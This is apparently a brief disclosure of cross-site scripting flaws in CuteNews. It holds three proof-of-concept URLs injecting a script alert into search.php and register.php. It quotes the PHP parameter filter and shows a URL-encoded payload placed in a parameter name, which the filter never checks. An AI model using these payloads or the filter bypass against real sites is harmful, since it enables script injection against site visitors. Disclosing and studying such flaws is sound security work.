http://test1.ru/cutenews/search.php/1"><script>alert();</script> http://test1.ru/cutenews/register.php/"><script>alert();</script>/?action=lostpass
//check for bad _GET and _POST if($dosearch == "yes"){ $check_params = array_merge($_GET, $_POST); foreach($check_params as $param_key=>$param_val){ if( !empty($param_val) && !preg_match('/^[a-zA-Z0-9\- ]{0,255}$/', $param_val) ){ die("Error! the parameter '$param_key' contains illigal characters"); } } }
http://test1.ru/cutenews/search.php?dosearch=yes&%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3B%3C%2F%73%63%72%69%70%74%3E=.